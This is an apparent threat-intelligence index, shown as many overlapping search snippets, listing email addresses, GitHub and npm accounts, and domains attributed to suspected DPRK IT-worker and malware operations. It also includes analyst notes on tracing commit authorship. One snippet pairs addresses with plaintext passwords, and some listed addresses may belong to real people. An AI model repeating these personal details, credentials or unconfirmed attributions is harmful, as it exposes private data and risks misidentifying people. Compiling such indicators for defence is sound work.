cryptoapple1109@gmail.com crystal2005081…","…B, obfuscated JS) Campaign tag: base64 Y3Jhc2ggdGhlIGJhZCBndXlz = “crash the bad guys” Social-engineering infra: ritualhub.net , crew@ritualhub.net , michael.peter.hq@gmail.com , calendly.com/ritual-join ; recruiter persona “Anne” (named in the second-pass table below), interviewer…","…charlieaffiliates22177@gmail.com cheaphomeseller55358@gmail.com chicagomrreid01317@gmail.com citylivingagent99587@gmail.com crimson72489@yahoo.com cygnusonyxxzbek89014@gmail.com daniellequaranta3@yahoo.com dataflight38629@gmail.com daveysellshomes47484@gmail.com…","…Year in Review superdev@outlook.com.au email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review cristhianmartinezrom7@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review natasa.golubovic90@gmail.com email malware…","…and brief hunting guidelines On 20 February 2026, I detected a new version publish of express-core-validator by npm user crisdev09 (cristianabreu694@gmail.com). `express-core-validator` on npm The package is still live as of this post’s publish time. This package is attributed to FAMOUS…","…iff.com crazydev121213@gmail.com crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gm…","…내부 관리용 ID (정광성, 진경수 등 이니셜 추정) 이메일 (Main) jks0303@hotmail.com Google Chrome Logs, Edge Logs 메인 활동 계정 이메일 (Sub) crj1026@hotmail.com Microsoft Edge Session Logs 팀원 추정 (최/리/정씨 등 이니셜 조합) 가명 (중국) Mingwen Bing 쿠키 데이터 중국 거주 신분 위장용 가명 (일본)…","…1-3 months sorza.jimmy05@gmail.com jimmy Colombia United States $45/hour, 40 hours/week 3-6 months Kang Song Ho c.roberto.capone@gmail.com roberto629 Argentina Canada $34/hour, 30 hours/week - c.roberto.capone@gmail.com roberto629 Argentina United States…","…crazypassion218@gmail.com creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991…","…Addresses: taras_lakhai — kevintracy516@gmail.com mvitalii — mvitalii206@gmail.com wishorn — starlancer555@gmail.com crouch626 — crouchtomy@gmail.com GitHub Accounts: lukobogdan47 austin-a3 Bitbucket Accounts: Ezra Walmsley Raymundo Curiel Malicious GitHub…","…m creative19970518@gmail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.an…","…mail.com creativebull0103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com…","…that at some point prior to May 14th, his Github profile was deleted[6]. ### OneDev0411 - OneDev0411 - https://github.com/OneDev0411 - cryptoapple1109@gmail.com - 104505361+OneDev0411@users.noreply.github.com - describes himself as a \"Full Stack Web Engineer\"[7].…","…103@gmail.com creativecode0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cu…","…maxb47163@gmail.com - coronarider01@gmail.com - neoprince1992@gmail.com - judekinsley911@gmail.com - icarodev1031@gmail.com - cryptobyte3@gmail.com - https://x.com/browsercookies/status/1934288397339877730 - ![](./1934288397339877730.png) #### TechWizAI - github.com/TopETH -…","…{\"id\":\"44e03f2d81729878\",\"type\":\"text\",\"text\":\"cryptocooker301@gmail.com\",\"x\":-1325,\"y\":4580,\"width\":271,\"height\":50,\"color\":\"4\"},…","…malware developer accounts Year in Review bartonfratz@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review cryptodev26@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review deinsulabasil@gmail.com email malware N/A N/A DPRK malware…","…as “ID” Released Package (version) npm user Download tgz sample Comment 2026-03-16 14:20:24 logger-beauty (v1.0.2) cryptopawsol (cryptopawsol@gmail.com) logger-beauty-1.0.2.tgz exfil: polblxpnl.space 2026-03-16 11:37:42 big-numerate (v5.0.3) ja.vierj.ea.n.070…","…ananphoon823 - andika.riyan - billyrowan1980 - blockchainlover2019 - maodan466 - putnikdeveloperbg - spaceboy00 - topstack2021a - cryptospaceboy00@gmail.com - alexwork455@gmail.com - ananphoon823@gmail.com - andika.riyan@gmail.com - billyrowan1980@gmail.com -…","…0217@gmail.com cristianorodriguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cyber…","Read on 21 September 2026. The repository-provenance pass over the held GitHub accounts found 216 accounts outside the index whose zero-star repositories are byte-for-byte copies of a held account's, or the other way round; a commit walk over them, compared against the addresses the index already holds, produced these. Each signs the bulk of its own commits with an address that a published list names as a DPRK IT-worker mailbox, and none of those addresses had an account attached until now. Where the list is The Raven File's August 2025 compilation the address arrives with no persona, so the accounts are filed together here rather than under names. github.com/revoltig4sg, id 134444531, created 23 May 2023, company SoftMansion Tech, 1,176 followers against 1,355 followed, signs 1,748 commits thomasj0830@gmail.com, mostly under the name codemaster05330, which five noreply addresses carrying the account id show to be its former handle; it has re-signed the 3,509-commit history of the open-source asset tracker snipe-it as its own, and its Python-Media-Player is nine tenths the tree on the account filed under Chae Gwang Jin. github.com/dybbuk-dev, id 100238707, created 22 February 2022, 605 followers against 1,550 followed, signs 543 commits dybbuk555@gmail.com under the names dybbuk555 and luckyman3559, and was itself named dybbuk555, per the noreply addresses; twelve of those commits sit in the profile repository of the account filed under Wu Long, whose Veychi-store it holds an identical copy of. github.com/prowebdev119, id 88698125, created 10 August 2021, bio reading snowvalley.all@gmail.com and company invokable GmbH, signs 539 commits tieosong119@gmail.com under the names prowebdev110 and prowebdev119, and sixteen more under devking1205@gmail.com; its react-chatting-app is the tree the ZEUS account holds. github.com/Typhon0130, id 125342474, created 14 February 2023, company RaptorX, signs 167 commits crystalmaster0130@gmail.com under the names Typhon and Minato0130, and its fanse-frontend is the ZEUS account's. Three commits in its Progressive-app are signed swan21213@gmail.com and attributed by GitHub to github.com/swan1213, created 27 March 2024, which means that address is registered to that account; its own ten repositories are signed with a differently named mailbox that is not repeated here because it may be a real person's. github.com/luckylightcodes, id 104870236, created 3 May 2022, display name Lucky Code and formerly nicolas-north per its noreply addresses, signs five commits jupiter.softdev@gmail.com under that former handle and six under nicolasnorth.tech@gmail.com; jupiter.softdev is on tayvano's IT-worker list and the second address is the handle as a mailbox, so both are carried. Its Linconstore-Admin is the ZEUS account's. Three accounts the same walk reached were at first left out because the list address on them did not look like their own: loveFeynman, kingpig-dev and ranupthestairs held repositories carrying commits by vigorousdevelopment524@gmail.com and juliegibbs206@gmail.com, which by itself says an operator's repository was copied, not that the holder is one. A second look on 24 September 2026 settled two of them. loveFeynman turned out to have worked in the same repositories as the Eric Liu persona at the time, and is filed under \"GitHub accounts working in the same repositories as the Eric Liu persona\". github.com/kingpig-dev, id 132079829, created 28 April 2023, is added here: its SGHEDA repository was created on 4 August 2023, and three of the commits it received that month are signed juliegibbs206@gmail.com under the author name kingpig-dev, the account's own login, among 67 that month under rowelyle9@gmail.com and the account's noreply address. juliegibbs206@gmail.com is on The Raven File's list; GitHub now attributes those commits to github.com/juliegibbs206, an account created on 31 October 2024 with no repositories, which is to say the address was registered to an account more than a year after it signed kingpig-dev's work. kingpig-dev signs its own commits rowelyle9@gmail.com, which is carried with it. It follows SuperVenus0725, loveFeynman and sheriff-rango. ranupthestairs, created 27 September 2024, remains a lead only: its copy of SGHEDA was created on 30 September 2024 and carries kingpig-dev's history, and no commit dated after the account's creation is signed with kingpig-dev's address, so what it shows is a copy.","…driguez779@gmail.com cronus.diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercom…","…diamond@gmail.com crowdworks@teml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gm…","…vitalii0021 rory210 jasonharry198852 millos Email Addresses # h96452582@gmail.com devin.s@gedu.demo.ta-39.com csilvagalaxy87@gmail.com souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com stefanofrick2@gmail.com…","…cheekaide1992@gmail.com ChinneryMarcia5425@hotmail.com christrotman727@outlook.com cibin87216@exitbit.com ctwajstj8948@hotmail.com danicaagawin5@gmail.com darielfrias89@outlook.com davidfernandez420@outlook.com davidjambis@outlook.com…","…log-upgrade 2026-04-03 live registry lestehlytnl@gmx.com lucide-next 2026-03-27 live registry cubistengineer@gmail.com metrify-chain 2026-03-27 graph first seen hello@jsonspack.com metrify-node 2026-03-27 graph first seen…","…ml.net crownnp1016@gmail.com cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofa…","…09:00:21] Ri Song Rim Could you tell me paypal email? --- [2026-02-03 09:02:28] PC-1234 Cuishuo20020711@163.com --- [2026-02-04 01:26:17] Ri Song Rim [image: /uploads/1770168375752-602544980.png] --- [2026-02-04 07:50:23] PC-1234 [image:…","…cryptoapple1109@gmail.com crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@o…","…om crystal20050819@gmail.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+…","…email insider N/A N/A Git mirror developer identity 2 ledanglong@gmail.com email insider N/A N/A Git mirror developer identity 2 cwertlinks@gmail.com email insider N/A N/A Git mirror developer identity 2 bukoyesamuel9@gmail.com email insider N/A N/A Git mirror developer identity 2…","…l.com crystalmaster0130@gmail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@…","…mail.com crystalpower19991222@gmail.com cui.angela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@g…","…chainerspace@gmail.com[email protected] fullasher@gmail.com[email protected] cyberos999@gmail.com[email protected] odincui@gmail.com[email protected] sunnykan314@gmail.com[email protected] salbu15154@gmail.com[email protected]…","…app intellichain555: ---------------------------------------- Emails: intellichain555@gmail.com chainerspace@gmail.com fullasher@gmail.com cyberos999@gmail.com odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaiev@outlook.com moktamd3@gmail.com Sites:…","…082583b62d90da834dc8e262f6999bcd2a1194e3ef3fefca8d70f6c1ebc4fa79 2026-08-05 hardhat-set (2.21.0) 2026-08-05 cydico <cydico@ahmadizhar.net> c9b83cdf9b6c915f02485cce0d993653a07cb78d12317904270f808e65529c30 2026-08-05 big-tss (5.0.5) 2026-08-05 jpeek249…","…cheaphomeseller55358@gmail.com chicagomrreid01317@gmail.com citylivingagent99587@gmail.com crimson72489@yahoo.com cygnusonyxxzbek89014@gmail.com daniellequaranta3@yahoo.com dataflight38629@gmail.com daveysellshomes47484@gmail.com dawsonspaces08839@gmail.com…","…• [Archive](https://archive.ph/snjV5) - github.com/zhmolly • [Archive](https://archive.ph/80EYH) - github.com/dainmoly - dainsm@proton.me - jwtradera@outook.com - t.me/jjmolIy (ID: 1968323567) • ([Messages](./user-1968323567-@zzmoly.txt)) -…","…camdriversupport.com app.js file contained these email addresses: designedcuratedamy58@gmail.com (SENDER) daisukeoikitsugu@gmail.com (RECIPIENT) eliteengineer8523@gmail.com (AM) rockstar96954@gmail.com (RC) hundredup2023@gmail.com (TP) phoenixfire471@gmail.com…","…Operators) admin@quickproassess.com awesomium430@gmail.com betosoto2819@gmail.com brooksliam534@gmail.com chris@wegrowup.us daisukeokitsugu@gmail.com denys@gmail.com designedcuratedamy58@gmail.com dzsignzdcuatzdamy@gmail.com eliteengineer0523@gmail.com excellentreporter321@gmail.com…","…2026 taylorzhang@hr.pulsynk.org] Email address Attacker-controlled email address May 2026 dalbir@empowerpharmacy.space Email address Attacker-controlled email address April 2026 dianaberendi@nxlog.tech Email address…","…ela.heqian@gmail.com cupid.bow0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gm…","…email insider N/A N/A Synthetic persona email 2 toni.komadina@outlook.com email insider N/A N/A Synthetic persona email 2 damianwalczak.work@outlook.com email insider N/A N/A Synthetic persona email 2 denis.dobrovodsky@outlook.com email insider N/A N/A Synthetic persona email 2…","…w0301@gmail.com cutpro1234@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@…","…@richman.fyi cybercomet0510@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@g…","…email insider N/A N/A Synthetic persona email 2 stoilesideropoulos001@outlook.com email insider N/A N/A Synthetic persona email 2 damjandobrudzhanski@gmail.com email insider N/A N/A Synthetic persona email 2 kutayijaz@outlook.com email insider N/A N/A Synthetic persona email 2…","…, \"name\" : \"MooneyDev\" \"email\" : \"126175765+mooney0129@users.noreply.github.com\" , \"name\" : \"mooney0129\" \"email\" : \"danakimoto319@gmail.com\" , \"name\" : \"CrazyDream000\" \"email\" : \"danakimoto319@gmail.com\" , \"name\" : \"crazydream000\" \"email\" : \"mooneydev9001\" , \"name\" :…","…t1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21…","…een@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljo…","…$35/hour, 40 hours/week - maria@gmail.com Maria Argentina United States $35/hour, 40 hours/week - Choe Ju Hyon dangloi@gmail.com LoiDang Vietnam United States $35/hour, 40 hours/week - saraadel414@gmail.com SaraAdel Egypt United States $30/hour,…","…autumnhappyfamily@gmail.com blue621dream@gmail.com james.jenaty031@gmail.com quangtu676957e1525ncz@hotmail.com danhphoze_2364@hotmail.com hangquan5594sxbf72@hotmail.com mahamaslam805@gmail.com adamvenord8@gmail.com Appendix B: Software Indicators The following software…","…ChinneryMarcia5425@hotmail.com christrotman727@outlook.com cibin87216@exitbit.com ctwajstj8948@hotmail.com danicaagawin5@gmail.com darielfrias89@outlook.com davidfernandez420@outlook.com davidjambis@outlook.com decovenjamin@gmail.com…","Read on 20 September 2026 by walking the commit history of every repository on github.com/Realitian, github.com/Anton-Dev97, github.com/prodev90, github.com/proactive-dev, which this index already holds under the heading \"GitHub accounts browsercookies attributes to a single unnamed operator\". Tallying the author line on every commit recovers the address the holder configured their git client with, which an account never has to state anywhere. infinite.reality.solution@gmail.com authored 305 commits on Realitian, commits as \"Realitian\"; Daniel_Jang123@outlook.com authored 204 commits on Anton-Dev97, commits as \"Anton-Dev97\"; YR199111RY@protonmail.com authored 68 commits on prodev90, commits as \"prodev90\"; Wang.t_l@hotmail.com authored 12 commits on proactive-dev, commits as \"proactive-dev\". Each is admitted because it commits under a name the account itself uses, the test that separates the holder's own address from the original author of a repository copied in. No persona is attached, because the accounts these were read from carry none: the reporting grouped them without naming an operator, and recovering an address does not supply the name it declined to give.","…jasper.lewitton.official@gmail.com • dodson43210@protonmail.com • napoleonbgqo0977@gmail.com • kevinsanaraujo@gmail.com • daniel.castagnolii@gmail.com • ashockvaradharajan@gmail.com • yoannturp@gmail.com Th e domains included: • web001-zoom.us • zoomsdk.us •…","…threat tracking databases have associated this domain with cryptocurrency-related activity. The domain was registered, using email daniel.castagnolii@gmail.com, on the morning of April 14, 2025, and expires on April 14, 2026.…","…dannythedawger - BogdanHabic Emails Associated: - yosket <yosket87@gmail.com> - nikkhielseath <sethnikhil74@gmail.com> - dannythedawger <daniel.c.daniil@gmail.com> - BogdanHabic <bogdan@tenderly.co> Domains: - vscode-config.vercel.app ## Variant four - August 24, 2025 - Unique Identifier:…","…io@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9012@gmail.com danylo.ba…","…alene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielma…","…306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9012@gmail.com danylo.babiychuk81@gmail.com danyric…","…chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildev…","…mail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9012@gmail.com danylo.babiychuk81@gmail.com danyrich919@gmail.com dark.horse.de…","…m henry.zhang@gmail.com viacheslay.zadorozhnyi3863@gmail.com lucasli.dream1218917@gmail.com kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.com markuslaandream1218917@gmail.com hasibullahnasseri986@gmail.com CharlieWang1218917.dream@proton.me andriisokyrka@gmail.com dreamit.dev12189…","…chicagomrreid01317@gmail.com citylivingagent99587@gmail.com crimson72489@yahoo.com cygnusonyxxzbek89014@gmail.com daniellequaranta3@yahoo.com dataflight38629@gmail.com daveysellshomes47484@gmail.com dawsonspaces08839@gmail.com dazzlebitcorp62317@gmail.com…","…mail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9012@gmail.com danylo.babiychuk81@gmail.com danyrich919@gmail.com dark.horse.dev0311@gmail.com darkhorse031…","…in Review cnova.business.en@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review danielmcevily.business918@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review jaimetru003@gmail.com email malware N/A…","…email insider N/A N/A Synthetic persona email 2 toma.andric@outlook.com email insider N/A N/A Synthetic persona email 2 danielmonilis@outlook.com email insider N/A N/A Synthetic persona email 2 vladimirvoski001@outlook.com email insider N/A N/A Synthetic persona email 2…","…ew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9…","…email insider N/A N/A Synthetic persona email 2 florinbarbu1@outlook.com email insider N/A N/A Synthetic persona email 2 danielsala2@outlook.com email insider N/A N/A Synthetic persona email 2 ivanhorvat2@outlook.com email insider N/A N/A Synthetic persona email 2…","…mail.com daniel.morious@gmail.com danieldent20@gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9012@gmail.com danylo.babiychuk81@gmail.com danyrich919@gmail.com dark.horse.dev0311@gmail.com darkhorse03111@gmail.com darkhorse…","…![](./andy-bell.jpg) - https://x.com/zachxbt/status/1940388827392344261 - ![](./X_2025-11-22_Kevin83191687.png) #### Danny Jin - dannyjin117@gmail.com - 0xacb8ba726c04408aecacd6794b4c9dc59652203d - ![](./danny-jin.jpg) - https://x.com/zachxbt/status/1940388827392344261 #### Muhammad…","…P@ssw0rd chainerspace@gmail.com qwe123QWE!@# codechef730@gmail.com watercup123 comsuper0030@gmail.com qweQWE123!@# danny.may.9012@gmail.com 123 darkhorse03111@gmail.com 123123 duartejose020202@gmail.com 123123123 enthusiastdev121@gmail.com bluesky3…","…0@gmail.com cybercomet1086@gmail.com d.john.meen@gmail.com damia.avalene@minofangle.org daming.chew+1@outlook.com daming.chew+2@outlook.com dan.soffio@gmail.com dancerking306@gmail.com daneiljhon7@gmail.com daniel.doval.1992@gmail.com daniel.j.hahn1105@gmail.com daniel.morious@gmail.com danieldent20…","…imanwdr30@hotmail.com scarlet112603@outlook.com garnerbrandy1230@gmail.com alexandercruciata11@gmail.com danxeth436@gmail.com jennyjenkins783@gmail.com david36271@outlook.com rkupriyanof@gmail.com vallierhilaire@gmail.com willsuccess47@gmail.com…","…gmail.com danieldoval21020@gmail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9012@gmail.com danylo.babiychuk81@gmail.com danyrich919@gmail.com dark.horse.dev0311@gmail.com darkhorse03111@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112…","…james.mario.bello1209@gmail.com - james@ecf.network - ali.jonsson1800@gmail.com - bighero0122@gmail.com: - danylo.lee316@gmail.com - keithnelson0426@gmail.com - legendary0118dev@gmail.com - strongdragon036@gmail.com - takao.kamio@brandcode.dev -…","…ail.com danieljones.polyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9012@gmail.com danylo.babiychuk81@gmail.com danyrich919@gmail.com dark.horse.dev0311@gmail.com darkhorse03111@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.har…","…repository and has 4 commits between October 21 and November 10, 2025. GitHub Users: - DAP2506 - yenthanh Email Addresses: - DAP2506 <dapanchal2506@gmail.com> - yenthanh <phamminh1309@gmail.com> Domains: - vscode-helper171.vercel.app File…","…Commits to malicious repository bulat@parity.io Commits to malicious repository chaley@gmail.com Commits to malicious repository dapanchal2506@gmail.com Commits to malicious repository davidexpert1233@hotmail.com Commits to malicious repository desarrollovba@gmail.com Commits to…","…github.com/truecode112 - github.com/masterscent913 • [Archive](https://archive.ph/E9Thn) - truecoder112@gmail.com - dar_winpizza@hotmail.com - jaleksandar806@gmail.com - putnikdeveloperbg@gmail.com - linkedin.com/aleksandar-jovanovic-28bb5023b - t.me/bigforniture1126 (ID:…","…email insider N/A N/A Threat actor persona email 4 forfuture21@gmail.com email insider N/A N/A Threat actor persona email 4 darbylee923@gmail.com email insider N/A N/A Threat actor persona email 4 alexei.lee0203@outlook.com email insider N/A N/A Threat actor persona email 4…","…Commit metadata exposed the email daren.shamoun28@gmail.com, and the repository content contained references that tied daren1028 back to the Caddo Smith persona.…","…christrotman727@outlook.com cibin87216@exitbit.com ctwajstj8948@hotmail.com danicaagawin5@gmail.com darielfrias89@outlook.com davidfernandez420@outlook.com davidjambis@outlook.com decovenjamin@gmail.com denise.ward0418@outlook.com…","…Forage SARL acti-forage-gn.com Rainbows in Abuja (Nigeria - Kim Yong Jin) Emails: --------------------------------- darkb761216@gmail.com dragonrhm0817@gmail.com star710928@gmail.com yz.demix@gmail.com marketing.rep@universalinsuranceplc.com shojokur@gmail.com Personas: -----…","…qwe123QWE!@# codechef730@gmail.com watercup123 comsuper0030@gmail.com qweQWE123!@# danny.may.9012@gmail.com 123 darkhorse03111@gmail.com 123123 duartejose020202@gmail.com 123123123 enthusiastdev121@gmail.com bluesky3 itsolution1014@gmail.com asdasdasd…","…gmail.com danny.may.9012@gmail.com danylo.babiychuk81@gmail.com danyrich919@gmail.com dark.horse.dev0311@gmail.com darkhorse03111@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin…","…lyu@gmail.com danielmarques0125@gmail.com danildevpay@gmail.com danny.may.9012@gmail.com danylo.babiychuk81@gmail.com danyrich919@gmail.com dark.horse.dev0311@gmail.com darkhorse03111@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com dataresearch…","…@gmail.com danylo.babiychuk81@gmail.com danyrich919@gmail.com dark.horse.dev0311@gmail.com darkhorse03111@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@cs…","…email insider N/A N/A Threat actor persona email 4 kostiaberez369@gmail.com email insider N/A N/A Threat actor persona email 4 darkrut22@gmail.com email insider N/A N/A Threat actor persona email 4 jennalolly93@gmail.com email insider N/A N/A Threat actor persona email 4…","…1@gmail.com danyrich919@gmail.com dark.horse.dev0311@gmail.com darkhorse03111@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david022…","…9@gmail.com dark.horse.dev0311@gmail.com darkhorse03111@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidhar…","…2020@gmail.com usmanjaggi1@gmail.com mr.martin.adrian@gmail.com kalezhang000@gmail.com what.a.fabulous1@gmail.com tinydever@gmail.com dashhello4@gmail.com simonbergman516@gmail.com robertgreen1217@gmail.com ashleyspalliero408@gmail.com jackkarlsson1025@gmail.com adambinharun1010@gmail.com…","…citylivingagent99587@gmail.com crimson72489@yahoo.com cygnusonyxxzbek89014@gmail.com daniellequaranta3@yahoo.com dataflight38629@gmail.com daveysellshomes47484@gmail.com dawsonspaces08839@gmail.com dazzlebitcorp62317@gmail.com dealmakersclub92647@outlook.com…","…11@gmail.com darkhorse03111@gmail.com darkhorse0723@gmail.com darknight.dev0918@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com dataresearch814@gmail.com david.baker8391@gmail.com david.lin.9422@gmail.com david0001@csuitehome.info david0220anderson@gmail.com davidharis.honest@gmail.com davidk…","Read on 28 September 2026 from the site's own page and the script bundles it loads. The Dave Scott portfolio Heiner García's Wagemole article names links an address, a LinkedIn profile and a GitHub account, and falls back to two phone numbers when its contact data does not load. The site is not tied to a named persona, so the set is filed unattributed.","…crimson72489@yahoo.com cygnusonyxxzbek89014@gmail.com daniellequaranta3@yahoo.com dataflight38629@gmail.com daveysellshomes47484@gmail.com dawsonspaces08839@gmail.com dazzlebitcorp62317@gmail.com dealmakersclub92647@outlook.com devonventureinvest81368@gmail.com…","…email insider N/A N/A Threat actor persona email 4 brianyoung0203@outlook.com email insider N/A N/A Threat actor persona email 4 david@heyadev.com email insider N/A N/A Threat actor persona email 4 mykytadanylchenko@outlook.com email insider N/A N/A Threat actor persona email 4…","…18@gmail.com darktop0112@gmail.com darlene.harris.me@gmail.com 